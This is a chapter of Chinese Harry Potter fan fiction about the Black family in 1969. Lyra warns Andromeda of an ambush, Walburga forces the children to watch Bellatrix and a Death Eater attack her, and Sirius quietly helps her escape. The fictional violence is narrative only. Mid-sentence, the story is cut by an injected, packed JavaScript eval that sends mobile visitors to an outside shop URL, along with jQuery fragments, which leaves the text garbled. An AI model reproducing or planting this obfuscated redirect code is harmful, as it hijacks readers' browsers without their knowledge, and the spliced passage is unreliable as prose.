1969年的春天，阿尔法德趁着上班的空闲时间和希维写信。他是高级货币兑换员，负责处理所有大额的货币兑换（比如用加隆购买大量卢布，或用麻瓜货币兑换加隆）、整理每周的兑换记录，并向妖精主管汇报。他能直观地感受到“今天有多少钱流入了某个国家”或“哪个国家的巫师在大量变现”。
比如今天，马尔福家族将十万金加隆换成美国卓锅并转入一个北美账户。
“这个账户我太熟悉了，亲爱的。这是这两个月来我第四次看到。我姐姐还派我往里面转了一笔钱。”他手里的羽毛笔在羊皮纸上洇开墨迹。
下班后，他披上大衣，拎包离开古灵阁，迎面撞上在门口来回徘徊的西格纳斯。
“感谢梅林！阿尔法德，我需要你的帮助。”西格纳斯眼睛一亮，迫不及待地拽住他。
阿尔法德苦笑道：“西格纳斯，我刚给了你一大笔钱，还送了贝拉一笔钱作为结婚礼物……”
西格纳斯急躁地打断他：“我知道，我知道。阿尔法德，谢谢你。只是我刚从德国那边定了一些贝拉和纳西莎婚礼用的魔法用具，花了很多钱，结果商家说已经给我送来了，这么多天都没有动静！你能不能去跟我看看那个飞路网是不是出问题了？”
阿尔法德面露难色，西格纳斯再三央求。阿尔法德铁了心拒绝：“时间不早了，西格纳斯，莱拉还等着我回去。”
“就看一眼，阿尔法德，我真是急疯了！你知道，在霍格沃兹时，就你成绩最好，比我们都好得多。沃尔布加看不出来问题，如果连你都没办法，我就去找那个商家拼命，然后被他打死。”西格纳斯绝望地说。
阿尔法德恼怒地说：“我二十年前就告诉过你不要去和来源不明的人做交易！”
“阿尔法德，我的好弟弟，你就看在我们可怜的父亲的份上，帮帮我吧。”西格纳斯凄凉道。
两个人在人来人往的街上拉拉扯扯，引来路人意味不明的目光。阿尔法德感到尴尬，但西格纳斯显然已经豁出去了，死死抓着他的袖口不放。
“行了，没有下一次。西格纳斯。”阿尔法德生气地用力拽回袖口。西格纳斯喜笑颜开，不停地表达自己的感谢之情。
莱拉正在家里焦急地等爸爸回来，她蜷缩在客厅的沙发上，第五次询问杰克。“你确定你说的是真的，对吧？”
杰克尖声道：“杰克说的是真的，杰克愿意用生命来起誓！今天克利切和杰克说，贝拉小姐带了一个高贵的客人来见沃尔布加夫人，她们在商量要清理叛徒，树立榜样！她们已经在监视‘那个泥巴种的家’。”
莱拉望望窗子色彩斑斓的晚霞，她让猫头鹰给许久不见的安多米达送了封信。没有落款，只有寥寥几句话。
“两位高傲的夫人正召来猎狗抓捕母兔，发誓要把她撕碎，派遣乌鸦盯住了她朋友的洞穴。”
她猜出来了前因后果，隐约知道自己是在给钦定的“叛徒”通风报信，如果那封信最终落到别人手里……她不后悔自己的选择，安多米达是布莱克家族最先认可她的人。她漂亮、善良、勇敢，应该得到如童话里公主般的幸福结局。
她咬着右手食指关节处，刚才写信时强撑的镇定像潮水一样退去，只剩下事后阵阵发冷的恐惧，盼望爸爸赶快回来。
“莱拉小姐。”克利切突然出现在她面前。
莱拉猝不及防地尖叫一声，站起来大声说：“你来干什么？”
克利切一如既往地恭敬：“女主人请您过去。”
莱拉的脸色更加苍白，她静悄悄地用鼻子深呼吸，跟随克利切去了格里莫广场12号。一进门，就被众多身影挡住了视线。沃尔布加一家，贝拉和纳西莎，还有她们的未婚夫，以及一个陌生的高瘦男人。
莱拉在竭力隐藏的惊恐中下意识地寻找熟悉的影子，她看到了西里斯。他站在大厅的边缘，像一尊大理石雕像，脸色在月光下惨白得吓人。但他的右手紧紧握成拳，指节因为用力而泛白，死死地抵在身侧。
“沃尔布加姑姑，我爸爸在哪里？”莱拉镇定地问。
奥赖恩接话：“他有事要忙，很快就会回来。”
莱拉知道她爸爸没事，心安定了一大半。她不觉得现在这么大的阵仗是用来审判她的。她垂下长长的睫毛，安静地等候沃尔布加的指示，如往常一样。
沃尔布加冰冷的目光扫过孩子们，用一种不容置疑的口吻说：“你们三个，跟上。是时候让你们看清楚，对待叛徒，布莱克家会怎么做。把你们那些天真的想法，连同叛徒的血一起洗干净。”
西里斯低着头不动，雷古勒斯沉默地盯着壁炉里剩余的火星。莱拉问道：“谁是叛徒？”
“某个自甘下贱的表子！”贝拉吼道。
“你们的眼睛和耳朵是唯一需要用到的东西，”沃尔布加厉声说，“谁敢乱动一下，我就赏他个钻心剜骨。”
莱拉的指甲猛地扣进掌心，她憎恨这种居高临下的威胁。沃尔布加虽然待她态度平淡，可从未出言不逊。莱拉知道她性格刻薄，思想狭隘，自命不凡，没想到她还丧心病狂地认为自己拥有折磨别人的权力。她强忍着没有说出“你以为自己是谁”。
贝拉不耐烦地催促大家行动，她早就设想了千百次如何让安多米达和她的情人痛不欲生。她打算先让她眼睁睁地看着他被捅瞎眼睛。
那个高瘦男人看向沃尔布加，他的声音如乌鸦般嘹亮：“布莱克夫人，我们出发吧。黑魔王还等着我回去复命。”
“当然，我不会让黑魔王失望。”贝拉又一次抢了沃尔布加的话头，率先走向壁炉，抓起一把飞路粉。其余人紧随其后，唯独纳西莎坐着不动，显然她不打算跟着去看热闹。
沃尔布加用眼神示意三个孩子跟上。他们通过飞路网来到了一个黑暗破旧的阁楼，做工精细的鞋子叩着木地板嗒嗒作响。
贝拉掏出双面镜，不远处莱拉眼尖地看到了西格纳斯的脸。“我们现在就在破釜酒吧顶层，她们还在下面对吧？好，大家还记得吧？安多米达伪装成了红头发的中年男胖子，旁边瘦小的老太婆就是那个唐克斯。”她狞笑着，另一只握着魔杖的手正微微颤抖。
莱拉心凉了半截。贝拉已经和其余人戴上黑色的面具，快步下了楼梯。她故意落在最后，不想看见残忍的一面。旁边的雷古勒斯拽了她一把，跟着一头钻了下去。
遥远的楼下突然爆发出一阵喧闹的嚎叫和打翻东西的巨大响声。魔咒发射的声音，咒骂声，惨叫声，还有愤怒的喊叫声。“你们干什么！滚出去！！”
莱拉跑下台阶，眼过之处一片兵荒马乱。布莱克家的人都不见踪影，只剩下几个头破血流的客人躺在狼藉的地上奄奄一息。她无心多看，跑向被撞得摇摇欲坠的大门。
街道上鏖战正酣。一个瘦小的女人挡在胖男人前面，两人正手握魔杖，疯狂地左躲右闪。谁都没有自己跑掉或者让对方先跑的意图，在铺天盖地的攻击里保持了惊人的冷静，或者说平静的绝望。
胜负定得太快，安多米达和唐克斯被拿下只是时间问题。贝拉出手相当狠毒，绿光不绝，她已经忘了要折磨安多米达的初衷，只一心想要置她们于死地。奥赖恩和高瘦男人正一前一后挡住她们妄图夺取的逃生之路。后面的沃尔布加正慢条斯理地、仿佛在回忆咒语般试图封锁幻影移形，她的目光不时扫过混乱的战场，似乎在分心评估着什么，以至于试了两次还没成功。
西格纳斯大喊大叫，他跳来跳去，激动得脚步发软。他踩到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605767|187551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一块突出的石砖，一头滚到地上，把旁边的贝拉撞了个趔趄，恰好让唐克斯躲过了一个索命咒。贝拉勃然大怒，伸手一把把她爸爸推了个跟头。
“够了，直接杀了！”高瘦男人忍无可忍，不再试图活捉，出手越发狠辣。
莱拉旁边的西里斯趁着这个混乱，向后微微退了一小步，将自己更深地藏进了阴影里。一道绿光从高瘦男人的杖尖迸发，直刺安多米达的心口。就在那一刹那，西里斯像是被一道飞溅的碎石惊吓到，猛地向下蜷缩。
在场的所有成年巫师——尤其是那些精通黑魔法、感官敏锐的食死徒和贝拉——却在这一瞬间猛地一颤，仿佛有一根冰冷的针直接刺入了他们的大脑。贝拉即将完成的咒语在她舌尖被打断，沃尔布加构建的反幻影移形磁场也出现了一丝极其短暂、几乎无法察觉的波动。
唐克斯立刻抓住了这个稍纵即逝的机会，死死拽着魔杖已经被折断的安多米达用移形换影逃走了。
死一样的寂静。西格纳斯气喘吁吁，左右环顾：“谁？谁干的？”他突然瞪住了莱拉，后者惊恐地僵立在原地。贝拉已经发疯地冲了过来，魔杖顶端闪过一丝不详的红光，狠狠戳到了她的额头，带来一阵灼痛。“你做了什么？你这个叛徒！”
冰冷的杖尖抵在皮肤上，莱拉先前强压下的所有恐惧在此刻被贝拉疯狂的眼神彻底引爆。“你有病吧！”她尖声叫道，猛地侧头甩开魔杖，用了大力推开贝拉，身体因极致的愤怒和恐惧而剧烈颤抖着，“滚！滚开！你看什么？！滚！”
“你放开她！”西里斯马上要冲上来了。
沃尔布加及时开口：“贝拉，放开你妹妹！你吓到她了。”
这时雷古勒斯上前一步，脸色苍白，但声音清晰地足以让所有人听到：“母亲，请原谅。是我……我试图加固您布下的反幻影移形咒，我的魔力控制……还不稳定。”
沃尔布加用冰冷的眼神看着他，说：“今天你犯了一个严重的错误，雷古勒斯。‘不稳定’是软弱的表现。我不希望再看到第二次。”
一场剿灭大戏狼狈收场，莱拉后来才知道，她爸爸被西格纳斯故意支开去修根本没通的飞路网，这才耽误了回家的时间。阿尔法德反应过来后极为愤怒，直接上门把西格纳斯揍了一顿。西格纳斯不敢反抗，还嬉皮笑脸地送来厚礼想要重修于好，□□脆地拒之门外。沃尔布加试图周旋一二，被牙尖嘴利的阿尔法德冷嘲热讽一顿，气得说不出话。
“到此为止吧，沃尔布加。我和你还是老死不相往来的好，你现在就可以把我也逐出族谱了。”阿尔法德冷冷地说。
沃尔布加哼笑：“你不就是生气我带走了莱拉吗？可她没有那么脆弱，阿尔法德！她都敢骂贝拉。”
“那是因为她该骂。我们都知道，如果不是她跑来掺和，利用亲妹妹向黑魔王表忠心，事不至此。她居然意图残害自己的血亲！”
沃尔布加轻松地说：“你在担心什么？她很快就要改姓莱斯特兰奇，布莱克的事情和她无关了。”
阿尔法德用奇异的目光打量着她，发现她说的是真心话，勾了勾嘴角：“但愿吧。我担心的从来不是贝拉，沃尔布加。”阿尔法德的声音低沉而危险，“我担心的是你。你明明有机会可以悄无声息地处理这件事，却偏偏选择把我的女儿、你的儿子，全都拉到血腥的现场。你想干什么？用安多米达的血给他们上课吗？”
沃尔布加淡淡道：“我认为这很有教育意义，能让他们最快地学会家族的信条——我们永远纯粹。他们将来也会是其中的一份子，早点认清，对他们有好处。”
“轮不到你管，沃尔布加。好好看看你今天的教学成果，梅林最擅长让人事与愿违。”阿尔法德扔下一句话就离开了。